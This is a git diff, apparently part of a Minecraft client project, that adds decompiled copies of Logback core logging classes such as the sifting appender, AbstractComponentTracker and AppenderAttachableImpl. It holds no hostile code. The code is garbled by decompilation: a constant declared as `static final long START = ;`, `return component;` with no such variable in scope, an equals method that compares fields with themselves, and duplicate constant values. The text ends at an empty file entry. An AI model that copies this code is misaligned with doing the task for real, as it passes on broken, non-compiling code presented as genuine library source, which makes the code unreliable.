new file mode 100644
index 0000000..5fefab7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/TokenConverter.java
@@ -0,0 +1,55 @@
+package ch.qos.logback.core.rolling.helper;
+
+
+
+
+
+public class TokenConverter
+{
+  static final int IDENTITY = 0;
+  
+
+
+
+  static final int INTEGER = 1;
+  
+
+
+
+  static final int DATE = 1;
+  
+
+
+
+  int type;
+  
+
+
+
+  TokenConverter next;
+  
+
+
+
+
+  protected TokenConverter(int t)
+  {
+    type = t;
+  }
+  
+  public TokenConverter getNext() {
+    return next;
+  }
+  
+  public void setNext(TokenConverter next) {
+    this.next = next;
+  }
+  
+  public int getType() {
+    return type;
+  }
+  
+  public void setType(int i) {
+    type = i;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/AbstractAppenderFactoryUsingJoran.java b/src/minecraft/ch/qos/logback/core/sift/AbstractAppenderFactoryUsingJoran.java
new file mode 100644
index 0000000..f0f58e7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/AbstractAppenderFactoryUsingJoran.java
@@ -0,0 +1,58 @@
+package ch.qos.logback.core.sift;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.spi.JoranException;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractAppenderFactoryUsingJoran<E>
+  implements AppenderFactory<E>
+{
+  final List<SaxEvent> eventList;
+  protected String key;
+  protected Map<String, String> parentPropertyMap;
+  
+  protected AbstractAppenderFactoryUsingJoran(List<SaxEvent> eventList, String key, Map<String, String> parentPropertyMap)
+  {
+    this.eventList = removeSiftElement(eventList);
+    this.key = key;
+    this.parentPropertyMap = parentPropertyMap;
+  }
+  
+  List<SaxEvent> removeSiftElement(List<SaxEvent> eventList)
+  {
+    return eventList.subList(1, eventList.size() - 1);
+  }
+  
+  public abstract SiftingJoranConfiguratorBase<E> getSiftingJoranConfigurator(String paramString);
+  
+  public Appender<E> buildAppender(Context context, String discriminatingValue) throws JoranException {
+    SiftingJoranConfiguratorBase<E> sjc = getSiftingJoranConfigurator(discriminatingValue);
+    sjc.setContext(context);
+    sjc.doConfigure(eventList);
+    return sjc.getAppender();
+  }
+  
+  public List<SaxEvent> getEventList() {
+    return eventList;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/AbstractDiscriminator.java b/src/minecraft/ch/qos/logback/core/sift/AbstractDiscriminator.java
new file mode 100644
index 0000000..3f885bf
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/AbstractDiscriminator.java
@@ -0,0 +1,39 @@
+package ch.qos.logback.core.sift;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractDiscriminator<E>
+  extends ContextAwareBase
+  implements Discriminator<E>
+{
+  protected boolean started;
+  
+  public AbstractDiscriminator() {}
+  
+  public void start()
+  {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/AppenderFactory.java b/src/minecraft/ch/qos/logback/core/sift/AppenderFactory.java
new file mode 100644
index 0000000..ef69d17
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/AppenderFactory.java
@@ -0,0 +1,11 @@
+package ch.qos.logback.core.sift;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.JoranException;
+
+public abstract interface AppenderFactory<E>
+{
+  public abstract Appender<E> buildAppender(Context paramContext, String paramString)
+    throws JoranException;
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/AppenderTracker.java b/src/minecraft/ch/qos/logback/core/sift/AppenderTracker.java
new file mode 100644
index 0000000..428a0d8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/AppenderTracker.java
@@ -0,0 +1,83 @@
+package ch.qos.logback.core.sift;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.helpers.NOPAppender;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.spi.AbstractComponentTracker;
+import ch.qos.logback.core.spi.ContextAwareImpl;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AppenderTracker<E>
+  extends AbstractComponentTracker<Appender<E>>
+{
+  int nopaWarningCount = 0;
+  
+  final Context context;
+  final AppenderFactory<E> appenderFactory;
+  final ContextAwareImpl contextAware;
+  
+  public AppenderTracker(Context context, AppenderFactory<E> appenderFactory)
+  {
+    this.context = context;
+    this.appenderFactory = appenderFactory;
+    contextAware = new ContextAwareImpl(context, this);
+  }
+  
+
+  protected void processPriorToRemoval(Appender<E> component)
+  {
+    component.stop();
+  }
+  
+  protected Appender<E> buildComponent(String key)
+  {
+    Appender<E> appender = null;
+    try {
+      appender = appenderFactory.buildAppender(context, key);
+    } catch (JoranException je) {
+      contextAware.addError("Error while building appender with discriminating value [" + key + "]");
+    }
+    if (appender == null) {
+      appender = buildNOPAppender(key);
+    }
+    
+    return appender;
+  }
+  
+  private NOPAppender<E> buildNOPAppender(String key) {
+    if (nopaWarningCount < 4) {
+      nopaWarningCount += 1;
+      contextAware.addError("Building NOPAppender for discriminating value [" + key + "]");
+    }
+    NOPAppender<E> nopa = new NOPAppender();
+    nopa.setContext(context);
+    nopa.start();
+    return nopa;
+  }
+  
+  protected boolean isComponentStale(Appender<E> appender)
+  {
+    return !appender.isStarted();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/DefaultDiscriminator.java b/src/minecraft/ch/qos/logback/core/sift/DefaultDiscriminator.java
new file mode 100644
index 0000000..0104bfb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/DefaultDiscriminator.java
@@ -0,0 +1,31 @@
+package ch.qos.logback.core.sift;
+
+
+
+
+
+
+public class DefaultDiscriminator<E>
+  extends AbstractDiscriminator<E>
+{
+  public static final String DEFAULT = "default";
+  
+
+
+
+
+  public DefaultDiscriminator() {}
+  
+
+
+
+
+  public String getDiscriminatingValue(E e)
+  {
+    return "default";
+  }
+  
+  public String getKey() {
+    return "default";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/Discriminator.java b/src/minecraft/ch/qos/logback/core/sift/Discriminator.java
new file mode 100644
index 0000000..d7c45b8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/Discriminator.java
@@ -0,0 +1,11 @@
+package ch.qos.logback.core.sift;
+
+import ch.qos.logback.core.spi.LifeCycle;
+
+public abstract interface Discriminator<E>
+  extends LifeCycle
+{
+  public abstract String getDiscriminatingValue(E paramE);
+  
+  public abstract String getKey();
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/SiftingAppenderBase.java b/src/minecraft/ch/qos/logback/core/sift/SiftingAppenderBase.java
new file mode 100644
index 0000000..b52053e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/SiftingAppenderBase.java
@@ -0,0 +1,144 @@
+package ch.qos.logback.core.sift;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.AppenderBase;
+import ch.qos.logback.core.util.Duration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SiftingAppenderBase<E>
+  extends AppenderBase<E>
+{
+  protected AppenderTracker<E> appenderTracker;
+  AppenderFactory<E> appenderFactory;
+  Duration timeout = new Duration(1800000L);
+  int maxAppenderCount = Integer.MAX_VALUE;
+  Discriminator<E> discriminator;
+  
+  public SiftingAppenderBase() {}
+  
+  public Duration getTimeout() { return timeout; }
+  
+  public void setTimeout(Duration timeout)
+  {
+    this.timeout = timeout;
+  }
+  
+  public int getMaxAppenderCount() {
+    return maxAppenderCount;
+  }
+  
+  public void setMaxAppenderCount(int maxAppenderCount) {
+    this.maxAppenderCount = maxAppenderCount;
+  }
+  
+
+
+
+  public void setAppenderFactory(AppenderFactory<E> appenderFactory)
+  {
+    this.appenderFactory = appenderFactory;
+  }
+  
+  public void start()
+  {
+    int errors = 0;
+    if (discriminator == null) {
+      addError("Missing discriminator. Aborting");
+      errors++;
+    }
+    if (!discriminator.isStarted()) {
+      addError("Discriminator has not started successfully. Aborting");
+      errors++;
+    }
+    if (appenderFactory == null) {
+      addError("AppenderFactory has not been set. Aborting");
+      errors++;
+    } else {
+      appenderTracker = new AppenderTracker(context, appenderFactory);
+      appenderTracker.setMaxComponents(maxAppenderCount);
+      appenderTracker.setTimeout(timeout.getMilliseconds());
+    }
+    if (errors == 0) {
+      super.start();
+    }
+  }
+  
+  public void stop()
+  {
+    for (Appender<E> appender : appenderTracker.allComponents()) {
+      appender.stop();
+    }
+  }
+  
+  protected abstract long getTimestamp(E paramE);
+  
+  protected void append(E event)
+  {
+    if (!isStarted()) {
+      return;
+    }
+    String discriminatingValue = discriminator.getDiscriminatingValue(event);
+    long timestamp = getTimestamp(event);
+    
+    Appender<E> appender = (Appender)appenderTracker.getOrCreate(discriminatingValue, timestamp);
+    
+    if (eventMarksEndOfLife(event)) {
+      appenderTracker.endOfLife(discriminatingValue);
+    }
+    appenderTracker.removeStaleComponents(timestamp);
+    appender.doAppend(event);
+  }
+  
+  protected abstract boolean eventMarksEndOfLife(E paramE);
+  
+  public Discriminator<E> getDiscriminator() {
+    return discriminator;
+  }
+  
+  public void setDiscriminator(Discriminator<E> discriminator) {
+    this.discriminator = discriminator;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public AppenderTracker<E> getAppenderTracker()
+  {
+    return appenderTracker;
+  }
+  
+  public String getDiscriminatorKey() {
+    if (discriminator != null) {
+      return discriminator.getKey();
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/sift/SiftingJoranConfiguratorBase.java b/src/minecraft/ch/qos/logback/core/sift/SiftingJoranConfiguratorBase.java
new file mode 100644
index 0000000..82273fe
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/sift/SiftingJoranConfiguratorBase.java
@@ -0,0 +1,92 @@
+package ch.qos.logback.core.sift;
+
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.joran.GenericConfigurator;
+import ch.qos.logback.core.joran.action.DefinePropertyAction;
+import ch.qos.logback.core.joran.action.NestedBasicPropertyIA;
+import ch.qos.logback.core.joran.action.NestedComplexPropertyIA;
+import ch.qos.logback.core.joran.action.PropertyAction;
+import ch.qos.logback.core.joran.action.TimestampAction;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.spi.ElementSelector;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.joran.spi.RuleStore;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SiftingJoranConfiguratorBase<E>
+  extends GenericConfigurator
+{
+  protected final String key;
+  protected final String value;
+  protected final Map<String, String> parentPropertyMap;
+  static final String ONE_AND_ONLY_ONE_URL = "http://logback.qos.ch/codes.html#1andOnly1";
+  
+  protected SiftingJoranConfiguratorBase(String key, String value, Map<String, String> parentPropertyMap)
+  {
+    this.key = key;
+    this.value = value;
+    this.parentPropertyMap = parentPropertyMap;
+  }
+  
+
+
+
+  protected void addImplicitRules(Interpreter interpreter)
+  {
+    NestedComplexPropertyIA nestedComplexIA = new NestedComplexPropertyIA();
+    nestedComplexIA.setContext(context);
+    interpreter.addImplicitAction(nestedComplexIA);
+    
+    NestedBasicPropertyIA nestedSimpleIA = new NestedBasicPropertyIA();
+    nestedSimpleIA.setContext(context);
+    interpreter.addImplicitAction(nestedSimpleIA);
+  }
+  
+  protected void addInstanceRules(RuleStore rs)
+  {
+    rs.addRule(new ElementSelector("configuration/property"), new PropertyAction());
+    rs.addRule(new ElementSelector("configuration/timestamp"), new TimestampAction());
+    rs.addRule(new ElementSelector("configuration/define"), new DefinePropertyAction());
+  }
+  
+  public abstract Appender<E> getAppender();
+  
+  int errorEmmissionCount = 0;
+  
+  protected void oneAndOnlyOneCheck(Map<?, ?> appenderMap) {
+    String errMsg = null;
+    if (appenderMap.size() == 0) {
+      errorEmmissionCount += 1;
+      errMsg = "No nested appenders found within the <sift> element in SiftingAppender.";
+    } else if (appenderMap.size() > 1) {
+      errorEmmissionCount += 1;
+      errMsg = "Only and only one appender can be nested the <sift> element in SiftingAppender. See also http://logback.qos.ch/codes.html#1andOnly1";
+    }
+    
+
+    if ((errMsg != null) && (errorEmmissionCount < 4)) {
+      addError(errMsg);
+    }
+  }
+  
+  public void doConfigure(List<SaxEvent> eventList) throws JoranException {
+    super.doConfigure(eventList);
+  }
+  
+  public String toString()
+  {
+    return getClass().getName() + "{" + key + "=" + value + '}';
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/AbstractComponentTracker.java b/src/minecraft/ch/qos/logback/core/spi/AbstractComponentTracker.java
new file mode 100644
index 0000000..942de9b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/AbstractComponentTracker.java
@@ -0,0 +1,458 @@
+package ch.qos.logback.core.spi;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractComponentTracker<C>
+  implements ComponentTracker<C>
+{
+  private static final boolean ACCESS_ORDERED = true;
+  public static final long LINGERING_TIMEOUT = 10000L;
+  public static final long WAIT_BETWEEN_SUCCESSIVE_REMOVAL_ITERATIONS = 1000L;
+  protected int maxComponents;
+  protected long timeout;
+  LinkedHashMap<String, Entry<C>> liveMap;
+  LinkedHashMap<String, Entry<C>> lingerersMap;
+  long lastCheck;
+  private RemovalPredicator<C> byExcedent;
+  private RemovalPredicator<C> byTimeout;
+  private RemovalPredicator<C> byLingering;
+  
+  public int getComponentCount()
+  {
+    return liveMap.size() + lingerersMap.size();
+  }
+  
+
+
+
+
+
+  private Entry<C> getFromEitherMap(String key)
+  {
+    Entry<C> entry = (Entry)liveMap.get(key);
+    if (entry != null) {
+      return entry;
+    }
+    return (Entry)lingerersMap.get(key);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public synchronized C find(String key)
+  {
+    Entry<C> entry = getFromEitherMap(key);
+    if (entry == null) return null;
+    return component;
+  }
+  
+
+
+
+
+
+
+
+
+  public synchronized C getOrCreate(String key, long timestamp)
+  {
+    Entry<C> entry = getFromEitherMap(key);
+    if (entry == null) {
+      C c = buildComponent(key);
+      entry = new Entry(key, c, timestamp);
+      
+      liveMap.put(key, entry);
+    } else {
+      entry.setTimestamp(timestamp);
+    }
+    return component;
+  }
+  
+
+
+
+
+  public void endOfLife(String key)
+  {
+    Entry entry = (Entry)liveMap.remove(key);
+    if (entry == null)
+      return;
+    lingerersMap.put(key, entry);
+  }
+  
+
+
+
+
+
+  public synchronized void removeStaleComponents(long now)
+  {
+    if (isTooSoonForRemovalIteration(now)) return;
+    removeExcedentComponents();
+    removeStaleComponentsFromMainMap(now);
+    removeStaleComponentsFromLingerersMap(now);
+  }
+  
+  private void removeExcedentComponents() {
+    genericStaleComponentRemover(liveMap, 0L, byExcedent);
+  }
+  
+  private void removeStaleComponentsFromMainMap(long now) {
+    genericStaleComponentRemover(liveMap, now, byTimeout);
+  }
+  
+  private void removeStaleComponentsFromLingerersMap(long now) {
+    genericStaleComponentRemover(lingerersMap, now, byLingering);
+  }
+  
+  private void genericStaleComponentRemover(LinkedHashMap<String, Entry<C>> map, long now, RemovalPredicator<C> removalPredicator)
+  {
+    Iterator<Map.Entry<String, Entry<C>>> iter = map.entrySet().iterator();
+    while (iter.hasNext()) {
+      Map.Entry<String, Entry<C>> mapEntry = (Map.Entry)iter.next();
+      Entry<C> entry = (Entry)mapEntry.getValue();
+      if (!removalPredicator.isSlatedForRemoval(entry, now)) break;
+      iter.remove();
+      C c = component;
+      processPriorToRemoval(c);
+    }
+  }
+  
+  public AbstractComponentTracker()
+  {
+    maxComponents = Integer.MAX_VALUE;
+    timeout = 1800000L;
+    
+
+    liveMap = new LinkedHashMap(32, 0.75F, true);
+    
+
+    lingerersMap = new LinkedHashMap(16, 0.75F, true);
+    lastCheck = 0L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    byExcedent = new RemovalPredicator() {
+      public boolean isSlatedForRemoval(AbstractComponentTracker.Entry<C> entry, long timestamp) {
+        return liveMap.size() > maxComponents;
+      }
+      
+    };
+    byTimeout = new RemovalPredicator() {
+      public boolean isSlatedForRemoval(AbstractComponentTracker.Entry<C> entry, long timestamp) {
+        return AbstractComponentTracker.this.isEntryStale(entry, timestamp);
+      }
+    };
+    byLingering = new RemovalPredicator()
+    {
+      public boolean isSlatedForRemoval(AbstractComponentTracker.Entry<C> entry, long timestamp) { return AbstractComponentTracker.this.isEntryDoneLingering(entry, timestamp); }
+    };
+  }
+  
+  private boolean isTooSoonForRemovalIteration(long now) {
+    if (lastCheck + 1000L > now) {
+      return true;
+    }
+    lastCheck = now;
+    return false;
+  }
+  
+
+  private boolean isEntryStale(Entry<C> entry, long now)
+  {
+    C c = component;
+    if (isComponentStale(c)) {
+      return true;
+    }
+    return timestamp + timeout < now;
+  }
+  
+  private boolean isEntryDoneLingering(Entry entry, long now) {
+    return timestamp + 10000L < now;
+  }
+  
+  public Set<String> allKeys() {
+    HashSet<String> allKeys = new HashSet(liveMap.keySet());
+    allKeys.addAll(lingerersMap.keySet());
+    return allKeys;
+  }
+  
+  public Collection<C> allComponents() {
+    List<C> allComponents = new ArrayList();
+    for (Entry<C> e : liveMap.values())
+      allComponents.add(component);
+    for (Entry<C> e : lingerersMap.values()) {
+      allComponents.add(component);
+    }
+    return allComponents;
+  }
+  
+  public long getTimeout() {
+    return timeout;
+  }
+  
+  public void setTimeout(long timeout) {
+    this.timeout = timeout;
+  }
+  
+  public int getMaxComponents() {
+    return maxComponents;
+  }
+  
+
+  public void setMaxComponents(int maxComponents) { this.maxComponents = maxComponents; }
+  
+  protected abstract void processPriorToRemoval(C paramC);
+  
+  protected abstract C buildComponent(String paramString);
+  
+  protected abstract boolean isComponentStale(C paramC);
+  
+  private static class Entry<C> {
+    String key;
+    C component;
+    long timestamp;
+    
+    Entry(String k, C c, long timestamp) {
+      key = k;
+      component = c;
+      this.timestamp = timestamp;
+    }
+    
+    public void setTimestamp(long timestamp) {
+      this.timestamp = timestamp;
+    }
+    
+    public int hashCode()
+    {
+      return key.hashCode();
+    }
+    
+    public boolean equals(Object obj)
+    {
+      if (this == obj)
+        return true;
+      if (obj == null)
+        return false;
+      if (getClass() != obj.getClass())
+        return false;
+      Entry other = (Entry)obj;
+      if (key == null) {
+        if (key != null)
+          return false;
+      } else if (!key.equals(key))
+        return false;
+      if (component == null) {
+        if (component != null)
+          return false;
+      } else if (!component.equals(component))
+        return false;
+      return true;
+    }
+    
+    public String toString()
+    {
+      return "(" + key + ", " + component + ")";
+    }
+  }
+  
+  private static abstract interface RemovalPredicator<C>
+  {
+    public abstract boolean isSlatedForRemoval(AbstractComponentTracker.Entry<C> paramEntry, long paramLong);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/AppenderAttachable.java b/src/minecraft/ch/qos/logback/core/spi/AppenderAttachable.java
new file mode 100644
index 0000000..314d596
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/AppenderAttachable.java
@@ -0,0 +1,21 @@
+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.Appender;
+import java.util.Iterator;
+
+public abstract interface AppenderAttachable<E>
+{
+  public abstract void addAppender(Appender<E> paramAppender);
+  
+  public abstract Iterator<Appender<E>> iteratorForAppenders();
+  
+  public abstract Appender<E> getAppender(String paramString);
+  
+  public abstract boolean isAttached(Appender<E> paramAppender);
+  
+  public abstract void detachAndStopAllAppenders();
+  
+  public abstract boolean detachAppender(Appender<E> paramAppender);
+  
+  public abstract boolean detachAppender(String paramString);
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/AppenderAttachableImpl.java b/src/minecraft/ch/qos/logback/core/spi/AppenderAttachableImpl.java
new file mode 100644
index 0000000..45b9631
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/AppenderAttachableImpl.java
@@ -0,0 +1,141 @@
+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.Appender;
+import java.util.Iterator;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AppenderAttachableImpl<E>
+  implements AppenderAttachable<E>
+{
+  private final CopyOnWriteArrayList<Appender<E>> appenderList = new CopyOnWriteArrayList();
+  
+
+  public AppenderAttachableImpl() {}
+  
+  public void addAppender(Appender<E> newAppender)
+  {
+    if (newAppender == null) {
+      throw new IllegalArgumentException("Null argument disallowed");
+    }
+    appenderList.addIfAbsent(newAppender);
+  }
+  
+
+
+  public int appendLoopOnAppenders(E e)
+  {
+    int size = 0;
+    for (Appender<E> appender : appenderList) {
+      appender.doAppend(e);
+      size++;
+    }
+    return size;
+  }
+  
+
+
+
+
+
+  public Iterator<Appender<E>> iteratorForAppenders()
+  {
+    return appenderList.iterator();
+  }
+  
+
+
+
+
+
+  public Appender<E> getAppender(String name)
+  {
+    if (name == null) {
+      return null;
+    }
+    Appender<E> found = null;
+    for (Appender<E> appender : appenderList) {
+      if (name.equals(appender.getName())) {
+        return appender;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  public boolean isAttached(Appender<E> appender)
+  {
+    if (appender == null) {
+      return false;
+    }
+    for (Appender<E> a : appenderList) {
+      if (a == appender) return true;
+    }
+    return false;
+  }
+  
+
+
+  public void detachAndStopAllAppenders()
+  {
+    for (Appender<E> a : appenderList) {
+      a.stop();
+    }
+    appenderList.clear();
+  }
+  
+  static final long START = ;
+  
+
+
+
+  public boolean detachAppender(Appender<E> appender)
+  {
+    if (appender == null) {
+      return false;
+    }
+    
+    boolean result = appenderList.remove(appender);
+    return result;
+  }
+  
+
+
+
+  public boolean detachAppender(String name)
+  {
+    if (name == null) {
+      return false;
+    }
+    boolean removed = false;
+    for (Appender<E> a : appenderList) {
+      if (name.equals(a.getName())) {
+        removed = appenderList.remove(a);
+        break;
+      }
+    }
+    return removed;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/ComponentTracker.java b/src/minecraft/ch/qos/logback/core/spi/ComponentTracker.java
new file mode 100644
index 0000000..3e000cd
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/ComponentTracker.java
@@ -0,0 +1,24 @@
+package ch.qos.logback.core.spi;
+
+import java.util.Collection;
+import java.util.Set;
+
+public abstract interface ComponentTracker<C>
+{
+  public static final int DEFAULT_TIMEOUT = 1800000;
+  public static final int DEFAULT_MAX_COMPONENTS = Integer.MAX_VALUE;
+  
+  public abstract int getComponentCount();
+  
+  public abstract C find(String paramString);
+  
+  public abstract C getOrCreate(String paramString, long paramLong);
+  
+  public abstract void removeStaleComponents(long paramLong);
+  
+  public abstract void endOfLife(String paramString);
+  
+  public abstract Collection<C> allComponents();
+  
+  public abstract Set<String> allKeys();
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/ContextAware.java b/src/minecraft/ch/qos/logback/core/spi/ContextAware.java
new file mode 100644
index 0000000..80ef560
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/ContextAware.java
@@ -0,0 +1,25 @@
+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.status.Status;
+
+public abstract interface ContextAware
+{
+  public abstract void setContext(Context paramContext);
+  
+  public abstract Context getContext();
+  
+  public abstract void addStatus(Status paramStatus);
+  
+  public abstract void addInfo(String paramString);
+  
+  public abstract void addInfo(String paramString, Throwable paramThrowable);
+  
+  public abstract void addWarn(String paramString);
+  
+  public abstract void addWarn(String paramString, Throwable paramThrowable);
+  
+  public abstract void addError(String paramString);
+  
+  public abstract void addError(String paramString, Throwable paramThrowable);
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/ContextAwareBase.java b/src/minecraft/ch/qos/logback/core/spi/ContextAwareBase.java
new file mode 100644
index 0000000..e16bafa
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/ContextAwareBase.java
@@ -0,0 +1,106 @@
+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.status.InfoStatus;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.WarnStatus;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextAwareBase
+  implements ContextAware
+{
+  private int noContextWarning = 0;
+  protected Context context;
+  final Object declaredOrigin;
+  
+  public ContextAwareBase() {
+    declaredOrigin = this;
+  }
+  
+  public ContextAwareBase(ContextAware declaredOrigin) { this.declaredOrigin = declaredOrigin; }
+  
+  public void setContext(Context context)
+  {
+    if (this.context == null) {
+      this.context = context;
+    } else if (this.context != context) {
+      throw new IllegalStateException("Context has been already set");
+    }
+  }
+  
+  public Context getContext() {
+    return context;
+  }
+  
+  public StatusManager getStatusManager() {
+    if (context == null) {
+      return null;
+    }
+    return context.getStatusManager();
+  }
+  
+
+
+
+
+
+  protected Object getDeclaredOrigin()
+  {
+    return declaredOrigin;
+  }
+  
+  public void addStatus(Status status) {
+    if (context == null) {
+      if (noContextWarning++ == 0) {
+        System.out.println("LOGBACK: No context given for " + this);
+      }
+      return;
+    }
+    StatusManager sm = context.getStatusManager();
+    if (sm != null) {
+      sm.add(status);
+    }
+  }
+  
+  public void addInfo(String msg) {
+    addStatus(new InfoStatus(msg, getDeclaredOrigin()));
+  }
+  
+  public void addInfo(String msg, Throwable ex) {
+    addStatus(new InfoStatus(msg, getDeclaredOrigin(), ex));
+  }
+  
+  public void addWarn(String msg) {
+    addStatus(new WarnStatus(msg, getDeclaredOrigin()));
+  }
+  
+  public void addWarn(String msg, Throwable ex) {
+    addStatus(new WarnStatus(msg, getDeclaredOrigin(), ex));
+  }
+  
+  public void addError(String msg) {
+    addStatus(new ErrorStatus(msg, getDeclaredOrigin()));
+  }
+  
+  public void addError(String msg, Throwable ex) {
+    addStatus(new ErrorStatus(msg, getDeclaredOrigin(), ex));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/ContextAwareImpl.java b/src/minecraft/ch/qos/logback/core/spi/ContextAwareImpl.java
new file mode 100644
index 0000000..2e8f477
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/ContextAwareImpl.java
@@ -0,0 +1,101 @@
+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.status.InfoStatus;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.status.WarnStatus;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextAwareImpl
+  implements ContextAware
+{
+  private int noContextWarning = 0;
+  protected Context context;
+  final Object origin;
+  
+  public ContextAwareImpl(Context context, Object origin) {
+    this.context = context;
+    this.origin = origin;
+  }
+  
+  protected Object getOrigin()
+  {
+    return origin;
+  }
+  
+  public void setContext(Context context) {
+    if (this.context == null) {
+      this.context = context;
+    } else if (this.context != context) {
+      throw new IllegalStateException("Context has been already set");
+    }
+  }
+  
+  public Context getContext() {
+    return context;
+  }
+  
+  public StatusManager getStatusManager() {
+    if (context == null) {
+      return null;
+    }
+    return context.getStatusManager();
+  }
+  
+  public void addStatus(Status status) {
+    if (context == null) {
+      if (noContextWarning++ == 0) {
+        System.out.println("LOGBACK: No context given for " + this);
+      }
+      return;
+    }
+    StatusManager sm = context.getStatusManager();
+    if (sm != null) {
+      sm.add(status);
+    }
+  }
+  
+  public void addInfo(String msg) {
+    addStatus(new InfoStatus(msg, getOrigin()));
+  }
+  
+  public void addInfo(String msg, Throwable ex) {
+    addStatus(new InfoStatus(msg, getOrigin(), ex));
+  }
+  
+  public void addWarn(String msg) {
+    addStatus(new WarnStatus(msg, getOrigin()));
+  }
+  
+  public void addWarn(String msg, Throwable ex) {
+    addStatus(new WarnStatus(msg, getOrigin(), ex));
+  }
+  
+  public void addError(String msg) {
+    addStatus(new ErrorStatus(msg, getOrigin()));
+  }
+  
+  public void addError(String msg, Throwable ex) {
+    addStatus(new ErrorStatus(msg, getOrigin(), ex));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/CyclicBufferTracker.java b/src/minecraft/ch/qos/logback/core/spi/CyclicBufferTracker.java
new file mode 100644
index 0000000..df4eb3a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/CyclicBufferTracker.java
@@ -0,0 +1,69 @@
